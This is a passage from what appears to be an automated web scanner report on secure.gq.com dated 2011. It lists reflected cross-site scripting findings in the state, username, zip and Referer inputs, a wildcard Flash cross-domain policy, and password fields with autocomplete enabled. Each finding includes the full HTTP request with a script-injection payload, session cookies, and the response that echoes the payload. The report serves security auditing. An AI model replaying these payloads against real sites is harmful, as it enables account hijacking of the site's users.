1.15. https://secure.gq.com/user/registration [state parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The value of the state request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bddb8"><script>alert(1)</script>7ef1b7cb7975de035 was submitted in the state parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /user/registration?returnto=%2F&applicationId=93&command=submit&newOfferState=&email=&password1=&password2=&username=&rememberme=true&firstName=&lastName=&address1=&address2=&city=&state=bddb8"><script>alert(1)</script>7ef1b7cb7975de035&zip=&country=US&handler.cds=handler.cds.10201.&handler.cds.10201.cdsOfferId=10201&handler.cds.10201.errorView=null&handler.ecom.0.errorView=redirect%3A%2Fservices%2FecomErrors%3FecomReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&handler.cds.0.errorView=redirect%3A%2Fservices%2FcdsErrors%3FcdsReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&toolkit.application=registration&toolkit.applicationId=NONE+PROVIDED&formName=user.registration&partnerCode=&sourceCode=&handler.newsletter.137.status_override=true&handler.newsletter=handler.newsletter.137.&handler.newsletter.137.newsletterId=137&handler.newsletter.137.isRequired=true&handler.newsletter.138.status_override=true&handler.newsletter=handler.newsletter.138.&handler.newsletter.138.newsletterId=138&handler.newsletter.138.isRequired=true&submit=Submit+Query HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/registration?returnto=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D7%7C1320346933645%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346945361%3B%20s_campaign%3D%7C1320346951943%3B%20sinvisit_m%3Dtrue%7C1320346951947%3B%20s_nr%3D1320345151950%7C1322937151950%3B%20s_eVar10%3D%7C1320346951956%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346951968%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346951969%3B%20gpv_p5%3Dno%2520value%7C1320346951998%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:34:50 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 84449


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<option value="bddb8"><script>alert(1)</script>7ef1b7cb7975de035" selected="selected">
...[SNIP]...

1.16. https://secure.gq.com/user/registration [username parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The value of the username request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5d15"><script>alert(1)</script>79c86db8fa5d98929 was submitted in the username parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /user/registration?returnto=%2F&applicationId=93&command=submit&newOfferState=&email=&password1=&password2=&username=f5d15"><script>alert(1)</script>79c86db8fa5d98929&rememberme=true&firstName=&lastName=&address1=&address2=&city=&state=&zip=&country=US&handler.cds=handler.cds.10201.&handler.cds.10201.cdsOfferId=10201&handler.cds.10201.errorView=null&handler.ecom.0.errorView=redirect%3A%2Fservices%2FecomErrors%3FecomReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&handler.cds.0.errorView=redirect%3A%2Fservices%2FcdsErrors%3FcdsReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&toolkit.application=registration&toolkit.applicationId=NONE+PROVIDED&formName=user.registration&partnerCode=&sourceCode=&handler.newsletter.137.status_override=true&handler.newsletter=handler.newsletter.137.&handler.newsletter.137.newsletterId=137&handler.newsletter.137.isRequired=true&handler.newsletter.138.status_override=true&handler.newsletter=handler.newsletter.138.&handler.newsletter.138.newsletterId=138&handler.newsletter.138.isRequired=true&submit=Submit+Query HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/registration?returnto=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D7%7C1320346933645%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346945361%3B%20s_campaign%3D%7C1320346951943%3B%20sinvisit_m%3Dtrue%7C1320346951947%3B%20s_nr%3D1320345151950%7C1322937151950%3B%20s_eVar10%3D%7C1320346951956%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346951968%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346951969%3B%20gpv_p5%3Dno%2520value%7C1320346951998%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:33:54 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 84533


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<input class="med" type="text" value="f5d15"><script>alert(1)</script>79c86db8fa5d98929" name="username" id="username" />
...[SNIP]...

1.17. https://secure.gq.com/user/registration [zip parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The value of the zip request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 491a6"><script>alert(1)</script>7db918dd03276711f was submitted in the zip parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /user/registration?returnto=%2F&applicationId=93&command=submit&newOfferState=&email=&password1=&password2=&username=&rememberme=true&firstName=&lastName=&address1=&address2=&city=&state=&zip=491a6"><script>alert(1)</script>7db918dd03276711f&country=US&handler.cds=handler.cds.10201.&handler.cds.10201.cdsOfferId=10201&handler.cds.10201.errorView=null&handler.ecom.0.errorView=redirect%3A%2Fservices%2FecomErrors%3FecomReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&handler.cds.0.errorView=redirect%3A%2Fservices%2FcdsErrors%3FcdsReturnto%3D%2Fuser%2Fregistration%2Foptions%3FsubOffer%3D0&toolkit.application=registration&toolkit.applicationId=NONE+PROVIDED&formName=user.registration&partnerCode=&sourceCode=&handler.newsletter.137.status_override=true&handler.newsletter=handler.newsletter.137.&handler.newsletter.137.newsletterId=137&handler.newsletter.137.isRequired=true&handler.newsletter.138.status_override=true&handler.newsletter=handler.newsletter.138.&handler.newsletter.138.newsletterId=138&handler.newsletter.138.isRequired=true&submit=Submit+Query HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/registration?returnto=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D7%7C1320346933645%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346945361%3B%20s_campaign%3D%7C1320346951943%3B%20sinvisit_m%3Dtrue%7C1320346951947%3B%20s_nr%3D1320345151950%7C1322937151950%3B%20s_eVar10%3D%7C1320346951956%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346951968%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346951969%3B%20gpv_p5%3Dno%2520value%7C1320346951998%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:34:57 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 84487


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<input class="med" type="text" name="zip" id="zip" value="491a6"><script>alert(1)</script>7db918dd03276711f" />
...[SNIP]...

1.18. https://secure.gq.com/user/login [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/login

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1cc9"><script>alert(1)</script>bd8cb9afc42 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /user/login HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=c1cc9"><script>alert(1)</script>bd8cb9afc42
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20s_depth%3D3%7C1320346697376%3B%20s_campaign%3D%7C1320346853377%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20sinvisit_m%3Dtrue%7C1320346853387%3B%20s_nr%3D1320345053391%7C1322937053391%3B%20s_eVar10%3D%7C1320346853400%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346853406%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346853441%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346853444%3B%20gpv_p5%3Dno%2520value%7C1320346853446%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dconde-gqcom%253D%252526pid%25253Dhttp%2525253A%2525252F%2525252Fwww.gq.com%2525252Fsearch%2525252Fquery%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.gq.com%2525252Fuser%2525252Flogin_1%252526oidt%25253D1%252526ot%25253DA%252526oi%25253D1%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:32:25 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 40211


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<input type="hidden" name="returnto" value="http://www.google.com/search?hl=en&q=c1cc9"><script>alert(1)</script>bd8cb9afc42" />
...[SNIP]...

1.19. https://secure.gq.com/user/registration [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9be4"><script>alert(1)</script>4e0f5c3b9c9 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /user/registration HTTP/1.1
Host: secure.gq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=a9be4"><script>alert(1)</script>4e0f5c3b9c9

Response

HTTP/1.1 200 OK
Date: Fri, 04 Nov 2011 05:46:53 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en
Content-Type: text/html; charset=ISO-8859-1
Connection: close
Content-Length: 83182


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<a class="password" href="forgot_password?returnto=http://www.google.com/search?hl=en&q=a9be4"><script>alert(1)</script>4e0f5c3b9c9">
...[SNIP]...

2. Flash cross-domain policy  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: secure.gq.com

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:31:13 GMT
Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.7a
Last-Modified: Wed, 26 Oct 2011 12:36:39 GMT
ETag: "ba200-85-4b032e84c23c0"
Accept-Ranges: bytes
Content-Length: 133
Connection: close
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy>
<allow-access-from domain="*" to-ports="*"/>
</cross-domain-policy>


3. Password field with autocomplete enabled  previous  next
There are 3 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


3.1. https://secure.gq.com/services/newsletters/demographics  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /services/newsletters/demographics

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET /services/newsletters/demographics HTTP/1.1
Host: secure.gq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 04 Nov 2011 05:46:35 GMT
Server: Resin/3.1.6
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-cache
Cache-Control: no-store
Content-Language: en
Content-Type: text/html; charset=ISO-8859-1
Connection: close
Content-Length: 84297


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<div id="reg_form">
<form action="/services/newsletters/demographics" method="post" name="demographicsForm" id="demographicsForm">

<div class="section-header">
...[SNIP]...
<fieldset><input id="authPassword" class="med" type="password" name="userEntry.authPassword" value="" /></fieldset>
...[SNIP]...
<fieldset><input id="registerPassword" class="med" type="password" name="userEntry.registerPassword" value="" class="wide" /></fieldset>
...[SNIP]...
<fieldset><input id="registerPasswordConfirm" class="med" type="password" name="userEntry.registerPasswordConfirm" value="" /></fieldset>
...[SNIP]...

3.2. https://secure.gq.com/user/login  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/login

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /user/login HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.gq.com/search?qt=dismax&sort=score+desc&query=shoes+shorts+pants+socks&submit=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20s_depth%3D3%7C1320346697376%3B%20s_campaign%3D%7C1320346853377%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20sinvisit_m%3Dtrue%7C1320346853387%3B%20s_nr%3D1320345053391%7C1322937053391%3B%20s_eVar10%3D%7C1320346853400%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346853406%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346853441%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346853444%3B%20gpv_p5%3Dno%2520value%7C1320346853446%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dconde-gqcom%253D%252526pid%25253Dhttp%2525253A%2525252F%2525252Fwww.gq.com%2525252Fsearch%2525252Fquery%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%2525252F%2525252Fwww.gq.com%2525252Fuser%2525252Flogin_1%252526oidt%25253D1%252526ot%25253DA%252526oi%25253D1%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:31:11 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 40238


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<!-- end error messages -->

<form method="post" action="/user/login" class="user short">
<input type="hidden" name="returnto" value="http://www.gq.com/search?qt=dismax&sort=score+desc&query=shoes+shorts+pants+socks&submit=" />
...[SNIP]...
</label>
<input type="password" name="password" id="password" />
</div>
...[SNIP]...

3.3. https://secure.gq.com/user/registration  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://secure.gq.com
Path:   /user/registration

Issue detail

The page contains a form with the following action URL:The form contains the following password fields with autocomplete enabled:

Request

GET /user/registration?returnto= HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://secure.gq.com/user/forgot_password?returnto=http://www.gq.com/search?qt=dismax&sort=score+desc&query=shoes+shorts+pants+socks&submit=
Cookie: mobify=0; s_pers=%20s_vnum_m%3D1322719200759%2526vn%253D1%7C1322719200759%3B%20ev1%3Dshoes%2520shorts%2520pants%2520socks%7C1320346853383%3B%20s_depth%3D6%7C1320346894887%3B%20s_campaign%3D%7C1320346917900%3B%20sinvisit_m%3Dtrue%7C1320346917903%3B%20s_nr%3D1320345117907%7C1322937117907%3B%20s_eVar10%3D%7C1320346917919%3B%20_dr%3Dhttp%253A%252F%252Fwww.fakereferrerdominator.com%252Freferrerpathname%253Frefparname%253Drefvalue%7C1320346917924%3B%20s_c30_persist%3Dfakereferrerdominator.com%7C1320346917956%3B%20s_c39_persist%3Dfakereferrerdominator.com%7C1320346917958%3B%20gpv_p5%3Dno%2520value%7C1320346917960%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dconde-gqcom%253D%252526pid%25253Dhttps%2525253A%2525252F%2525252Fsecure.gq.com%2525252Fuser%2525252Fforgot_password%252526pidt%25253D1%252526oid%25253Dhttps%2525253A%2525252F%2525252Fsecure.gq.com%2525252Fuser%2525252Fregistration%2525253Freturnto%2525253D_1%252526oidt%25253D1%252526ot%25253DA%252526oi%25253D1%3B; s_vi=[CS]v1|27596E9D850103EE-600001002029F2B2[CE]; __utma=135853927.574698479.1320344885.1320344885.1320344885.1; __utmb=135853927.2.10.1320344885; __utmc=135853927; __utmz=135853927.1320344885.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; SiteLifeHost=L3VM250l3pluckcom; anonId=1ec96be5-324f-4508-9e0c-4736dd0c4fb8; JSESSIONID=dcbLSqsQLa-JLfnMSSQnt.4

Response

HTTP/1.1 200 OK
Date: Thu, 03 Nov 2011 18:32:07 GMT
Server: Resin/3.1.6
cache-control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 83026


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org
...[SNIP]...
<div id="registration">

<form action="/user/registration" method="post" id="userProfileForm" name="userProfileForm" class="p1">


<div class="section-header">
...[SNIP]...
</label>
<input class="med" type="password" name="password1" id="password1" value="" />
<p class="tip">
...[SNIP]...
<fieldset>
<input class="med" type="password" name="password2" id="password2" value="" />
</fieldset>
...[SNIP]...

4. Referer-dependent response  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   https://secure.gq.com
Path:   /user/login

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET /user/login HTTP/1.1
Host: secure.gq.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.gq.com/search?qt=dismax&sort=score+desc&query=shoes+shorts+pants+socks&submit=
